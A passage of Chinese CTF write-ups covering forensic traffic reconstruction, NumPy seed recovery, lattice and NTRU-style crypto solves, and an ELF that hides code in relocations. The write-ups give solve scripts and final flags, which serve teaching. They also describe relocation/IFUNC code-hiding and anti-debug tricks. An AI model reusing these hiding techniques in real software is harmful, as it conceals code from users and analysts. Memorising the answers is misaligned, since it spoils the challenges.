n = u32(pt, 0); name = pt[4:4+n].decode()
data = pt[4+n:]

说明:KDF 分支与迭代次数、校验值的覆盖范围、填充方式均以反编译结果为准;脚本中这些参数全部取自文件头,没有硬编码。

结果:文件名 core-assets.db,字节数 2424832,SHA-256 5dec31e12a4d02f09d82e254cd752f5ba64bb254472e1111234af2c0e8441419。答案 core-assets.db|2424832|5dec31e12a4d02f09d82e254cd752f5ba64bb254472e1111234af2c0e8441419。

八、通关验证与证据链

六题结果按顺序在题目平台提交,第 1、2、3 题通过后解锁第 4–6 题;全部校验通过后平台返回本题 flag:flag{75583fe0-6e63-499a-91e3-0a4799b5d5c2}。

证据链:管理面浏览器访问节点 pve-lab 的 219 号虚拟机控制台;在该控制台内通过 RDP 登录 10.23.8.41:3389,账户 CORE01\Tsuki;经 RDP 磁盘重定向把加密仓库写到员工侧;仓库口令 NT4VP5X842DD 由空白记事本中的鼠标摩斯动作传递;第二层密码 006187393179 由动态数字键盘逐次点击输入;最终从最新有效快照 d7d68e... 中解出 core-assets.db(2,424,832 字节,SHA-256 5dec31...)。上述链路与举报所称“利用职务便利、未经授权访问内部核心计算机并窃取机密数据”相符。

参考规范:RFC 6143(The Remote Framebuffer Protocol)、Microsoft Open Specifications 的 MS-RDPBCGR 与 MS-RDPEFS、Proxmox VE API 文档、Wireshark 官方文档。

flag:flag{75583fe0-6e63-499a-91e3-0a4799b5d5c2}

考点补充

  • 核心考点:多协议流量取证与操作还原——用 NSS Key Log 解开 TLS 后,在 noVNC 的 WebSocket/RFB 与 RDP(CredSSP、rdpdr、fastpath 输入事件、位图更新)上逐层重组,把“浏览器访问控制台 → RDP 登录 → 磁盘重定向外传 → 快照解密”的完整犯罪链复原成可验证的数据。

  • 关键技巧:按协议分层剥离(WS 帧 → RFB 消息 → 矩形编码;TPKT → X.224 → MCS → 安全头 → rdpdr),并用 ClientHello 的 SNI 与 101 响应所在 TCP 流配对 TLS 会话,而不是数密钥日志行数。RFB 只处理首个含真实像素矩形的 FramebufferUpdate,RDPDR 则以 FileId 为键、按 Offset 乱序拼接文件。

  • 常见坑:把 Cursor/DesktopSize 伪编码当普通矩形会污染画面或读错后续长度,哈希必然不符;WS 分片未重组会让 RFB 长度字段错位;动态键盘必须用“点击前”的帧并按当时的布局取键,且按下与抬起须在同一按钮;摩斯时长与间隔阈值应由数据分位数估计,写死容易分错档。

  • 延伸:keylog + 应用层协议脚本化解析是可复用的取证套路,换用 Tight/ZRLE/Hextile 编码时只需补上对应解码器,导出与哈希规则不变;位图缓存要同步维护,否则局部重绘缺块,动态键盘的点击就无法正确定位。

Dreambound

本题提供 check.py、model_A.npz、model_B.bin 三个文件。check.py 将答案规范化为三组十进制整数(组内以逗号分隔、组间以分号分隔),令 body = sha256(canon)[:32],并校验 sha256("ns::" + body) 是否等于硬编码的 V。因此解题目标是恢复能通过该校验的三组整数,flag 由 body 给出。

model_A.npz 含 8 个 float64 数组:k5(48,32)/k3(48,)、k2(40,48)/k4(40,)、k6(32,40)/k7(32,)、k1(16,32)/k0(16,),对应 32→48→40→32→16 的四层全连接网络。各权重矩阵中存在大量完全相同的行或列,说明矩阵由较小的核心权重按随机行、列复制扩张而来;对全部标量去重后共得到 926 个互不相同的数值。

model_B.bin 为 44,982 字节,与 model_A.npz 大小相同,具有迷惑性。统计检验显示其字节熵为 7.9966/8,256 个字节取值的卡方统计量约 209.6(自由度 255),近似均匀随机;在外层 zip 中以 deflate 存储时反而从 44,982 字节增大到 44,997 字节,说明不可压缩。因此它不是可解析的模型文件,而是题面所称的“沉淀”,即干扰数据,后续解题不依赖它。

观察去重后的权重,数值服从标准差约 0.6 的高斯分布,推测模型由 NumPy 随机数生成器生成。以日期格式 YYYYMMDD 作为候选种子,在 2024-01-01 至 2026-12-31 内逐日枚举,检查 np.random.default_rng(seed).normal(0, 0.6, 32) 是否与 model_A["k5"][0] 逐位相等。第 1036 个候选(2026-11-01,即 20261101)命中。进一步生成该种子的前 974 个高斯数,可覆盖模型全部 5,384 个标量(926 个唯一值);各数组对应的高斯流下标区间如下表,确认种子正确。

数组

形状

元素数

使用到的核心值下标区间

k5

48×32

1536

0–447

k3

48

48

448–461

k2

40×48

1920

462–629

k4

40

40

630–641

k6

32×40

1280

642–785

k7

32

32

786–797

k1

16×32

512

798–957

k0

16

16

958–973

答案的三组排列并非由权重的重复结构编码,而是来自与模型种子相邻的随机种子。按 check.py 的规范化方式,将三组排列按 48、40、32 的顺序连续生成:rng = np.random.default_rng(20261102),p1 = rng.permutation(48),p2 = rng.permutation(40),p3 = rng.permutation(32),再以分号、逗号拼接。对 20261101±7 的种子并同时覆盖逆排列、三组输出顺序进行搜索,种子 20261102、原始顺序(48、40、32)通过校验,body = 5c2aabdc937513bde1ba502f14cc51b6。

补充:在恢复种子之前,曾尝试按重复行/列分组、按偏置或权重范数排序、以首次出现位置作为分组标签等方式构造三组下标,均无法通过哈希校验。结合重复结构可被方差 0.6 的高斯流完整解释这一事实,可以确认重复只是模型扩张生成的产物,答案来自独立的排列种子。

最终三组排列写入 answer.txt,执行原始 check.py 的输出为:

[+] correct! flag = flag{5c2aabdc937513bde1ba502f14cc51b6}

exp

import datetime
import hashlib
import subprocess
import sys
from pathlib import Path
import numpy as np
V = "cf8303ef7e9fc6f51baf27b6e2c8763bd199a0a24c5294bcdaca3ddef6e47864"
START, END = datetime.date(2024, 1, 1), datetime.date(2026, 12, 31)
def canon(lists):
  return ";".join(",".join(str(int(v)) for v in L) for L in lists)
def verify(lists):
  body = hashlib.sha256(canon(lists).encode()).hexdigest()[:32]
  return hashlib.sha256(("ns::" + body).encode()).hexdigest() == V, body
def recover_model_seed(model):
  ref = model["k5"][0]
  d, n = START, 0
  while d <= END:
    seed = int(d.strftime("%Y%m%d"))
    n += 1
    if np.array_equal(np.random.default_rng(seed).normal(0.0, 0.6, ref.size), ref):
      return seed, n
    d += datetime.timedelta(days=1)
  raise RuntimeError("model seed not found")
​
def main():
  root = Path(sys.argv[1]) if len(sys.argv) > 1 else Path(file).resolve().parent
  model = np.load(root / "model_A.npz")
  vals = np.concatenate([model[k].ravel() for k in model.files])
​
  seed, attempts = recover_model_seed(model)
  print(f"[+] model seed = {seed} (date-seed #{attempts})")
​
  stream = np.random.default_rng(seed).normal(0.0, 0.6, 4096)
  first = {}
  for i, bits in enumerate(stream.view("<u8")):
    first.setdefault(int(bits), i)
  used = sorted(first[int(b)] for b in np.unique(vals.view("<u8")))
  print(f"[+] all {vals.size} scalars covered; draws needed = {used[-1] + 1}, "
     f"unique = {len(used)}")
​
  import itertools
  for delta in range(-7, 8):
    cand = seed + delta
    rng = np.random.default_rng(cand)
    ps = [rng.permutation(n) for n in (48, 40, 32)]
    variants = [ps, [np.argsort(p) for p in ps]]
    for base in variants:
      for order in itertools.permutations(range(3)):
        lists = [base[i] for i in order]
        ok, body = verify(lists)
        if ok:
          answer = canon(lists)
          (root / "answer.txt").write_text(answer + "\n", encoding="utf-8")
          (root / "flag.txt").write_text(f"flag{{{body}}}\n", encoding="utf-8")
          print(f"[+] permutation seed = {cand} (delta {delta:+d})")
          print(f"[+] answer -> {root / 'answer.txt'}")
          print(f"[+] flag{{{'%s' % body}}}")
          subprocess.run([sys.executable, str(root / "check.py"),
                  str(root / "answer.txt")], check=False)
          return
  raise RuntimeError("permutation seed not found")
​
if __name__ == "__main__":
  main()

flag 值:

flag{5c2aabdc937513bde1ba502f14cc51b6}

考点补充

  • 核心考点:从 NumPy 权重里还原生成器种子——识别 model_A.npz 的大量重复行/列只是核心权重按随机行列复制扩张的产物,再用日期种子逐位复现高斯流、由相邻种子推出 permutation 答案。

  • 关键技巧:先对全部标量去重得到 926 个唯一值,再用 np.random.default_rng(seed).normal(0, 0.6, 32) 与 model_A["k5"][0] 逐位比对锁定 20261101;随后用 stream.view("<u8") 记录每个 float64 首次出现下标,验证 974 次抽取覆盖 5,384 个标量,最后在 ±7 天内枚举种子、逆排列与 6 种组序,用 sha256("ns::"+body) == V 判定。

  • 常见坑:把重复行/列当成编码信息(按重复分组、按偏置或范数排序、用首次出现位置当标签)必然通不过校验;model_B.bin 与模型同大小却是熵 7.9966、卡方 209.6、deflate 后反而变大的随机“沉淀”,不必解析;flag 里的 32 位是 canon 的 sha256 前缀 body,不是硬编码的 V;三组排列必须从同一个 rng 连续取 48→40→32,顺序错了同样失败。

  • 延伸:凡是 default_rng(seed) 批量生成的 npz/bin,都可按“去重压缩搜索空间→用首行做种子指纹→用已知哈希或 flag 格式做在线校验”的套路还原;本题目录种子取日期格式,实际可扩大到时间戳、题号等常见构造。

Crypto

frozen

附件 task.py 实现了一套类 Falcon/NTRU 的密钥生成与树结构展开,参数为:

N = 128
Q = 12289
SIGMA = 19.16

服务端输出三部分数据:

  • pubkey:公钥及参数;

  • memory:经过随机位翻转的内存泄漏;

  • flag:加密后的 flag。

本篇对应容器 123.57.40.178:36885,使用已保存的实例 instance_123_57_40_178_36885.txt,解题脚本为 solve.py。复现只需读取本地文件,不需要再次连接服务器。

一、审计加密流程

乍看需要根据受损内存恢复 NTRU 私钥,但审计 flag 的加密过程后,可以找到更直接的目标:

ff = poly_mul(key["f"], poly_adj(key["f"], N), N)
gg = poly_mul(key["g"], poly_adj(key["g"], N), N)
D = [a + b for a, b in zip(ff, gg)]
canon = ",".join(str(c) for c in D).encode()
fk = hashlib.sha256(b"frozen:" + canon).digest()
ct = bytes(a ^ b for a, b in zip(flag, keystream(fk, len(flag))))

加密密钥仅由整数多项式 $D=ff^{}+gg^{}$ 决定,其中 $f^{*}$ 表示 $f$ 的伴随多项式,密钥生成所在的环为:

$$\mathcal{R}q=\mathbb{Z}q[x]/(x^N+1)$$

$D$ 的系数始终留在整数域,求和中并未对 $q$ 取模。因此,不必恢复完整私钥,只需要恢复 $D$ 的整数系数。

注意:这里的 $D$ 没有对 $q$ 取模,恢复后不能将其系数模 $q$。

二、泄漏中仍然保存了目标信息

2.1 被删除的是四组私钥 FFT

expanded_doubles() 的序列化顺序为:

  1. fft(f);

  2. fft(g);

  3. fft(F);

  4. fft(G);

  5. 树的全部内部节点;

  6. 树的全部叶子。

每个复数数组均先存所有实部,再存所有虚部,使用小端 double。内部节点按先序遍历排列,叶子单独集中存放。

随后题目截掉前 8192 字节:

head = 8 * 128
cblob = cblob_full[head * 8:]

四组私钥 FFT 恰好占:

$$4\times 2N\times 8=4\times 2\times 128\times 8=8192\ \text{字节}$$

因此,直接保存私钥 FFT 的部分被移除,但后面的树结构仍然保留。

2.2 左子树编码了目标多项式的频域值

树的构造如下:

G00 = gh * np.conj(gh) + fh * np.conj(fh)
G01 = gh * np.conj(Gh) + fh * np.conj(Fh)
G11 = Gh * np.conj(Gh) + Fh * np.conj(Fh)
Ltop = G01 / G00
Dright = G11 - Ltop * np.conj(Ltop) * G00
return [Ltop, _T(G00), _T(Dright)]

对于单位圆上的取值点,实系数多项式的伴随对应复共轭,所以:

$$\overline{f_h}=f^{}(\zeta),\qquad \overline{g_h}=g^{}(\zeta)$$

也就是说:

$$G_{00}=g_h\overline{g_h}+f_h\overline{f_h}=g(\zeta)g^{}(\zeta)+f(\zeta)f^{}(\zeta)=D(\zeta)$$

泄漏中保留的左子树 _T(G00),恰好包含派生 flag 密钥所需的多项式信息。

解析时先跳过 Ltop,也就是 2*N 个 double,再读取两棵子树的内部节点,最后读取叶子。不能误以为每个内部节点后立即跟着其叶子。

三、逆向树结构

题目的递归过程为:

def _T(E):
    n = len(E)
    if n == 1:
        return [float(np.real(E[0]))]
    Ee, Eo = splitfft(E)
    L = np.conj(Eo) / Ee
    return [L, _T(Ee), _T(Ee - L * np.conj(L) * Ee)]

设当前输入 $E$ 长度为 $n$,splitfft() 将其拆成 $E_e$、$E_o$ 两个分量,节点中保存:

$$L=\frac{\overline{E_o}}{E_e}$$

由于目标频域数组是实数,且单位根的模为 1,$L$ 每个分量的辐角只由下标决定:

$$L_i=r_i\,e^{i\theta_i},\qquad \theta_i=\frac{\pi(2i+1)}{n}\ (0\le i<n/2),\qquad r_i\in\mathbb{R}$$

定义实数比值:

$$r_i=\frac{\Re L_i}{\cos\theta_i}=\frac{\Im L_i}{\sin\theta_i}$$

则:

$$E=\big[\,A\,(1+r),\ A\,(1-r)\,\big],\qquad A=E_e$$

只要恢复 $r$ 和左子树表示的 $A$,就能重建整层频域数组。因此,沿左分支递归即可恢复整个 $G_{00}$,无需使用每层的右子树,也无需使用顶层的 Ltop。

四、利用冗余修复随机位翻转

4.1 损坏模型

题目对每个 double 的位 0..55 和符号位 63 进行随机翻转:

RHO10 = 0.01
RHO01 = 0.001

即:

  • 1 → 0 的概率为 0.01;

  • 0 → 1 的概率为 0.001。

受影响的位置包含尾数、部分指数位和符号位,因此部分浮点值会严重偏离原值,不能直接用于重建。但每个比值都有四份冗余观测,可以据此修复。

4.2 实部与虚部提供两份观测

记该层第 $i$ 个存储值为 $L_i=r_i(\cos\theta_i+i\sin\theta_i)$,其中 $\theta_i=\pi(2i+1)/n$。由实部与虚部分别可得:

$$r_i=\frac{\Re L_i}{\cos\theta_i}=\frac{\Im L_i}{\sin\theta_i}$$

这就在同一个位置上提供了两份相互独立的观测。

4.3 镜像位置再提供两份观测

因为 $D$ 自伴随,频域值满足:

$$\overline{\hat D_k}=\hat D_{N-1-k}$$

沿左分支做平均后,该性质仍然成立。令 $m=n/2-1-i$ 为镜像下标,可以推出:

$$L_m=\overline{L_i},\qquad r_m=-r_i$$

于是同一个比值有四个估计值:

$$r_i^{(1)}=\frac{\Re L_i}{\cos\theta_i},\quad
r_i^{(2)}=\frac{\Im L_i}{\sin\theta_i},\quad
r_i^{(3)}=-\frac{\Re L_m}{\cos\theta_m},\quad
r_i^{(4)}=-\frac{\Im L_m}{\sin\theta_m}$$

具体修复方法:

  1. 计算四个估计值;

  2. 枚举其中的六个二元组合;

  3. 选出差值绝对值最小的一对;

  4. 将两者平均,作为恢复后的比值;

  5. 按镜像关系设置另一侧的比值。

这能排除很多因高位翻转而产生的离群值。需要说明,这是一种适用于本次实例的启发式方法,并不保证任意随机损坏都能恢复,因此后面还要检查整数舍入误差。

4.4 最底层与尺度

当 $n=2$ 时,由对称性有:

$$\theta=\frac{\pi}{2},\qquad \cos\theta=0,\qquad r=0$$

因此直接令比值为零,避免除以接近零的余弦。

一直沿左分支到达的叶子,是所有频域值的平均:

$$s_0=\frac{1}{N}\sum_{k=0}^{N-1}\hat D_k$$

本次实例中该叶子为 87980.00000000003,与真实整数 87980 极为接近,因此能够直接作为重建尺度。当前脚本没有实现该叶子严重损坏时的额外修复。

五、恢复整数多项式并解密

题目的 FFT 定义为带半步旋转的变换:

$$\hat f_k=\sum_{j=0}^{N-1} f_j\,\omega^{j(k+1/2)},\qquad \omega=e^{2\pi i/N}$$

拆出半步旋转:

$$f_j=\frac{1}{N}\,e^{-i\pi j/N}\sum_{k=0}^{N-1}\hat f_k\,e^{-2\pi ijk/N}$$

NumPy 的 fft() 使用负指数,所以恢复系数的公式是:

coefficients = (
    np.fft.fft(spectrum) / size
    * np.exp(-1j * np.pi * np.arange(size) / size)
).real

再将结果舍入为整数:

rounded = np.rint(coefficients).astype(np.int64)

这里要使用 fft() 配合除以 N,不能直接替换成普通的 ifft()。

本次恢复的最大舍入误差为:

1.4854776964057237e-08

还可以检查自伴随性质对应的系数关系:

$$D{N/2}=0,\qquad D_i=-D{N-i}\ (1\le i<N)$$

最后按原题方式派生密钥:

$$f_k=\mathrm{SHA256}(\texttt{"frozen:"}\,|\,canon(D))$$

其中 $canon(D)$ 是将全部整数系数转换成十进制字符串,以逗号连接,不包含空格。

密钥流为:

$$\mathrm{keystream}(f_k,L)=\Big|_{c=0}^{\lceil L/32\rceil-1}\mathrm{SHA256}\big(f_k\,|\,\mathrm{be32}(c)\big)$$

截取到密文长度后,与密文异或即可。

六、完整 EXP

以下代码与工作区 solve.py 一致。脚本只读取本地保存的数据,不连接服务器,仅依赖 NumPy,不需要 fpylll 或 SciPy。

import hashlib
import itertools
import json
from pathlib import Path
import sys
​
import numpy as np
​
​
def load_instance(path):
    fields = dict(line.split("=", 1) for line in Path(path).read_text().splitlines() if "=" in line)
    fields = {name.strip(): value.strip() for name, value in fields.items()}
    return json.loads(fields["pubkey"]), bytes.fromhex(fields["memory"]), bytes.fromhex(fields["flag"])
​
​
def parse_tree(memory, size):
    values = np.frombuffer(memory, dtype="<f8")
    position = 2 * size
​
    def read_nodes(length):
        nonlocal position
        if length == 1:
            return {}
        half = length // 2
        real = values[position:position + half]
        imag = values[position + half:position + length]
        position += length
        return {"real": real, "imag": imag, "left": read_nodes(half), "right": read_nodes(half)}
​
    left = read_nodes(size)
    right = read_nodes(size)
​
    def read_leaves(node):
        nonlocal position
        if not node:
            node["leaf"] = float(values[position])
            position += 1
        else:
            read_leaves(node["left"])
            read_leaves(node["right"])
​
    read_leaves(left)
    read_leaves(right)
    assert position == len(values)
    return left, right
​
​
def repair_ratios(node):
    half = len(node["real"])
    angles = np.pi * (2 * np.arange(half) + 1) / (2 * half)
    ratios = np.zeros(half)
    confidence = np.zeros(half)
    for index in range(half // 2):
        reverse = half - 1 - index
        observations = [node["real"][index] / np.cos(angles[index]),
                        node["imag"][index] / np.sin(angles[index]),
                        -node["real"][reverse] / np.cos(angles[reverse]),
                        -node["imag"][reverse] / np.sin(angles[reverse])]
        pairs = list(itertools.combinations(observations, 2))
        first, second = min(pairs, key=lambda pair: abs(pair[0] - pair[1]))
        ratios[index] = (first + second) / 2
        ratios[reverse] = -ratios[index]
        confidence[index] = confidence[reverse] = abs(first - second)
    return ratios, confidence
​
​
def reconstruct(node, depth=0):
    if "leaf" in node:
        return np.array([node["leaf"]])
    average = reconstruct(node["left"], depth + 1)
    ratios, errors = repair_ratios(node)
    print("level", depth, "ratio disagreement", max(errors), "scale", average.mean())
    return np.concatenate((average * (1 + ratios), average * (1 - ratios)))
​
​
def decrypt(coefficients, ciphertext):
    canonical = ",".join(str(int(value)) for value in coefficients).encode()
    key = hashlib.sha256(b"frozen:" + canonical).digest()
    stream = b"".join(hashlib.sha256(key + counter.to_bytes(4, "big")).digest()
                      for counter in range((len(ciphertext) + 31) // 32))
    return bytes(first ^ second for first, second in zip(ciphertext, stream))
​
​
def main():
    public, memory, ciphertext = load_instance(sys.argv[1] if len(sys.argv) > 1 else "instance.txt")
    size = public["N"]
    left, right = parse_tree(memory, size)
    spectrum = reconstruct(left)
    coefficients = (np.fft.fft(spectrum) / size * np.exp(-1j * np.pi * np.arange(size) / size)).real
    rounded = np.rint(coefficients).astype(np.int64)
    rounding_error = max(abs(coefficients - rounded))
    print("rounding error:", rounding_error)
    if not np.isfinite(rounding_error) or rounding_error > 0.01:
        raise ValueError("Recovery is not sufficiently close to integer coefficients")
    assert rounded[size // 2] == 0
    assert all(rounded[index] == -rounded[size - index] for index in range(1, size))
    print("flag:", decrypt(rounded, ciphertext).decode())
​
​
if __name__ == "__main__":
    main()

安装依赖:

python -m pip install numpy

明确指定本次新容器的数据文件运行:

python solve.py instance_123_57_40_178_36885.txt

注意:工作区中的 instance.txt 来自此前的旧容器。脚本无参数运行时默认读取旧文件,因此复现本篇结果时必须使用上述文件名。

输出末尾:

rounding error: 1.4854776964057237e-08
flag: flag{68aa5a05-6ce9-4b89-9617-992cf0a290c9}

最终 flag:

flag{68aa5a05-6ce9-4b89-9617-992cf0a290c9}

考点补充

  • 核心考点:Falcon/NTRU 密钥结构里 $D=ff^{}+gg^{}$ 的自伴随性,以及 flag 加密只依赖 $D$ 的整数系数——题目表面要求恢复私钥,实际只需恢复一个自伴随多项式的频域值。

  • 关键技巧:按 expanded_doubles() 的布局跳过前 8192 字节的四组私钥 FFT,只沿 _T(G00) 的左分支递归;每层比值用实部、虚部与镜像共轭凑出四个估计,取最接近的一对平均来压制随机位翻转,最后用带半步旋转的 fft/N 还原整数系数。

  • 常见坑:$D$ 未对 $q$ 取模,恢复后不能取模;解析顺序是先 Ltop、再全部内部节点、最后叶子,节点与叶子并非交错排列;$\theta_i=\pi/2$($n=2$)时余弦为零,必须直接置比值为 0;还原系数不能把 fft 换成 ifft。

  • 延伸:遇到「泄漏的是密钥派生中间量」的题,先审计 flag 的加密路径往往比硬恢复私钥更省力;当数据被随机位翻转时,优先找同一量的多重冗余观测(实/虚部、共轭镜像、多份副本),用一致性挑出离群值,再用舍入误差做最终校验。

hoRRibleRing

1. flag 的生成方式

题目参数为:

p = 0x3ac01f87    # 985669511
n = 512
sigma = 3.371

对 flag 的每一位,脚本分别生成两种样本:

  • 位为 0:随机选择 $a$,并采样系数服从离散高斯分布的 $s$、$e$,计算 $b = (a \cdot s + e) \bmod f$。

  • 位为 1:$a$、$b$ 都直接均匀随机生成。

每个 0 位都会重新采样 $s$、$e$,不能把所有样本当成共用同一把私钥。samples.txt 一共有 336 组样本,对应 42 字节的 flag。样本顺序就是 flag 的二进制顺序,每字节高位在前。

因此,目标不是直接解一个密文,而是区分 Ring/Polynomial-LWE 样本和均匀随机样本。

2. 可利用的多项式关系

先在有限域上分解 $f$,可以看到它有很多低次数因子,其中一次因子有 140 个。但可分解本身还不足以解出题目:如果随便选一个很大的根代入,小系数误差的求值也可能已经接近均匀分布。

继续检查这些根的小指数幂,发现有 10 个根满足:

$$r^{10} \equiv c \pmod p, \quad c = 84865842$$

接着对 $1, c, c^2, \dots$ 寻找短整系数关系。下面这种整数格可以做 LLL:

# Sage 形式,d 可以先取 16
L = matrix(ZZ, d + 1, d + 1)
L[0, 0] = p
for i in range(1, d + 1):
    L[i, 0] = -power_mod(c, i, p)
    L[i, i] = 1
L = L.LLL()

这里得到的一个短关系是:

$$c^{10} + c^5 - c^2 + 1 \equiv 0 \pmod p$$

代回 $c = r^{10}$,得到小系数多项式:

$$H(x) = x^{100} + x^{50} - x^{20} + 1$$

它还能写成:

$$H(x) = (x^{10} + 1) \cdot G(x)$$

其中

$$G(x) = x^{90} - x^{80} + x^{70} - x^{60} + x^{50} - x^{10} + 1$$

计算公因子:

G = x^90 - x^80 + x^70 - x^60 + x^50 - x^10 + 1
h = gcd(f, G)
print(h.degree())
# 58

$G$ 并不能整除 $f$;用于投影的是 $h = \gcd(f, G)$,次数为 58。

3. 样本投影到模 h 的环

因为 $h$ 整除 $f$,对模 $f$ 成立的关系,继续模 $h$ 后仍然成立。

再令:

$$s' = s \bmod G, \quad e' = e \bmod G$$

这里先在整数多项式环里取余。由于 $h$ 也整除 $G \bmod p$,所以 0 位满足:

$$a \cdot s' + e' \equiv b \pmod h$$

此时 $s'$、$e'$ 的次数都小于 90,总共只有 180 个整数系数。模 $h$ 后提供 58 个模 $p$ 的线性约束。后面的格只需处理这个投影问题。

对一个样本,定义两个矩阵:

$$A[:, j] = \operatorname{coeff}(a \cdot x^j \bmod h), \quad B[:, j] = \operatorname{coeff}(x^j \bmod h), \quad 0 \le j < 90$$

$A$、$B$ 的形状都是 $58 \times 90$,于是:

$$A \cdot s' + B \cdot e' \equiv b \pmod p$$

4. 误差按协方差缩放

不能直接把 $s'$、$e'$ 的每个系数都当成标准差为 3.371。原来的 512 个小系数经过模 $G$ 取余后,会叠加并产生相关性。

把 $x^i \bmod G$ 的系数作为第 $i$ 列,构造 $90 \times 512$ 的整数矩阵 $R$。原始高斯系数向量记为 $z$,则投影后的系数向量是 $Rz$,其协方差为:

$$\operatorname{Cov}(Rz) = \sigma^2 C, \quad C = R \cdot R^{\mathsf{T}}$$

因此,小解应按下面的长度衡量:

$$s'^{\mathsf{T}} C^{-1} s' + e'^{\mathsf{T}} C^{-1} e'$$

实现时先对 $R$ 的行基做一次 LLL,得到整数可逆矩阵 $U$ 和 $R_1 = UR$。然后对 $R_1 R_1^{\mathsf{T}}$ 做 Cholesky 分解,并用整数矩阵近似缩放变换:

$$F = U^{\mathsf{T}} \cdot \operatorname{round}\left(128 \cdot \operatorname{chol}(R_1 R_1^{\mathsf{T}})^{-\mathsf{T}}\right)$$

对行向量 $v$,$vF/128$ 的欧氏长度就近似于上述协方差归一化长度。配套脚本中的 metric.json 保存的是这一步的公开预处理矩阵,不包含 flag 或私钥;删除它和 ideal.json 后,脚本也可以重新生成。

5. 构造 181 维嵌入格

先构造齐次格:

$$L_0 = {(u, v) \in \mathbb{Z}^{180} : Au + Bv \equiv 0 \pmod p}$$

因为 $B$ 的前 58 列是单位矩阵,可以用 $s'$ 的 90 个系数、$e'$ 的后 32 个系数作为自由变量,把前 58 个误差系数表示出来,再加入 $p$ 的倍数。

实际实现还对以下理想格预先约化,减少每个样本的重复计算:

$$K = {v \in \mathbb{Z}^{90} : Bv \equiv 0 \pmod p}$$

设其约化基为 $K$,为每个秘密坐标选择一个误差补偿行,组成 $E$,就能得到块形式的基:

$$L_0 = \begin{bmatrix} I_{90} & E \ 0 & K \end{bmatrix}$$

把 $b$ 的 58 个系数补零到 90 维,目标向量取为 $t = (0, b)$。令 $W = \operatorname{diag}(F, F)$,做 Kannan embedding:

$$\hat{L} = \begin{bmatrix} L_0 W & 0 \ tW & \tau \end{bmatrix}, \quad \tau = \operatorname{round}(128\sigma) = 431$$

最终矩阵为 $181 \times 181$。如果样本是 0,这个格里会出现与小系数 $s'$、$e'$ 对应的短向量;样本为 1 时,通常找不到同等长度的向量。

使用 LLL 后继续做 BKZ-40、BKZ-45。这里使用了 fplll 官方的 pruning 策略文件。换用没有合适策略的约化参数,耗时会明显增加,也更容易漏掉短解。

本次记录中的长度均已除以 128:

  • 判为 0 的短向量长度为 40.28~51.56。

  • 判为 1 的样本,其已保存分数约为 1067.31~1282.29。

实践中以 100 为阈值。没有找到短解而判为 1,仍然是格算法的判别结果,并不是「不存在短解」的数学证明;可疑位应提高 BKZ 强度再检查。

6. 利用已知格式还原 flag

已知前缀是 flag{。结合 42 字节长度,以及逐步解出的字符,flag 符合 UUID 格式。

本次没有把 336 位全部逐一约化。实际保存了 228 个样本的分数,其中 21 个属于已知前缀,207 个属于后续内容;其他位利用已知前缀、可打印 ASCII 和 UUID 十六进制字符格式补齐。

主要计算每字节的低四位和区分数字、字母的位;字母的大小写另外计算。横线与末尾 } 也进行了检查。这些格式补齐的位,没有计入短向量求解成功的数量。

最后按原顺序拼回每个字节,得到:

flag{a5c0e489-a8e6-4532-b03a-f875461165cd}

考点补充

  • 核心考点:Ring/Polynomial-LWE 的判定型问题——区分 $(a,\, b = a \cdot s + e)$ 样本与均匀随机样本,本质是在格上找一个与小系数 $s'$、$e'$ 对应的短向量。

  • 关键技巧:先分解 $f$ 找低次因子,用 $r^{10} \equiv c$ 把根降到可处理的小幂次,再对 $1, c, c^2, \dots$ 建整数格跑 LLL 得到短关系,从而造出小系数多项式 $H$,取 $h = \gcd(f, G)$ 把 512 维压到 58 个约束、180 个未知量。

  • 常见坑:每个 0 位都重新采样 $s$、$e$,不能当成共用同一私钥联立多组样本;投影后系数不再独立,直接按 $\sigma = 3.371$ 估长会失真,须用 $\operatorname{Cov}(Rz) = \sigma^2 R R^{\mathsf{T}}$ 归一化;BKZ 要配 fplll 的 pruning 策略,否则容易漏解;判为 1 只是没找到短向量,不等于证明其不存在。

  • 延伸:这类「按位/按字节编码 flag」的判定题可先用已知前缀、可打印 ASCII、UUID 十六进制格式补齐大部分位,只对关键位提高 BKZ 强度求解,本题 336 位中实际只约化了 228 个样本。

Reverse

ELFStudy

flag{4865f2079724968a95c217e0ff4db6c6}

复现

在原工作区使用已有的便携 Python:

& .\tools\python\python.exe -B .\elfstudy_work\solve_elfstudy.py
& .\tools\python\python.exe -B .\elfstudy_work\verify_elfstudy.py

求解脚本仅依赖标准库;机器码验证使用工作区内已有的 Unicorn。所有产物均在 elfstudy_work 内。原 ZIP 未修改,elfstudy 是从 ZIP 读取出的原始程序。unpacked.bin 是供分析使用的还原快照,不是修复后的可直接运行 ELF。

1. 动态重定位隐藏代码

这是一个去除符号表的 x86-64 Linux ELF,表面上是 ELF 结构查看器。main 位于 0x2a50,其中 0x2e16 调用 0x3b30;静态文件里的该函数只有 endbr64、NOP 和 RET。

异常线索在于动态表:节表中的 .rela.dyn 大小为 0x258,但 DT_RELASZ 为 0x5e8。加载器实际处理的内容比节表描述的更长。

关键重定位链如下(均为 ELF 内相对地址):

  1. 开头四条 R_X86_64_RELATIVE 重叠改写动态符号 57 的字段,将其指向 0x1d30。

  2. R_X86_64_COPY 向 0x894 复制 14 字节,修改动态符号 49,使其指向 0x1988,长度成为 0x390。

  3. 下一条 COPY 将该隐藏重定位表复制到 0x15e0,也就是加载器接下来要处理的位置。

  4. 隐藏表通过 R_X86_64_SIZE64 将符号 57 的值改为 0x16493f2103392e07。随后多条 R_X86_64_64 将这个值与各自的 addend 相加,在 0x7325 开始的位置拼出代码。

  5. 重定位修改符号 55 为 GNU IFUNC,解析器地址为 0x7325,后续引用触发执行。表尾还从 0x76c6 恢复原 PLT 重定位数据。

隐藏内容处于节与加载段尾部的页内空隙;常规按 .text 范围反汇编无法完整看到它。

2. IFUNC 解密与自擦除

还原后的 0x7325 解析器先通过 DT_DEBUG 检查动态加载器状态,并检查 r_brk 处是否有 0xcc 断点。随后对 0x7396 + 4*i 的 DWORD 逆序解密,i 从 0xcb 到 1:

acc = 0
for i in range(0xcb, 0, -1):
    plain = encrypted[i] ^ acc
    # plain == 0 时原程序会提前退出
    acc = (acc + plain) & 0xffffffff

解密后的实际校验入口为 0x739a。解析器将 0x3b34 改为 call 0x739a; ret,最后清零自身开头的 0x61 字节。

3. 输入与校验算法

校验器检查 /proc/self/status 的 TracerPid,以及加载器链表中的对象数是否超过 7。真正被校验的是全局地址 0xb1c0 中的字符串,即 main 复制的 argv[1],不是文件内容。

格式必须为 flag{ 加 32 个十六进制字符加 },共 38 个字符。解码成 16 字节后,按小端解释成两个 64 位整数。

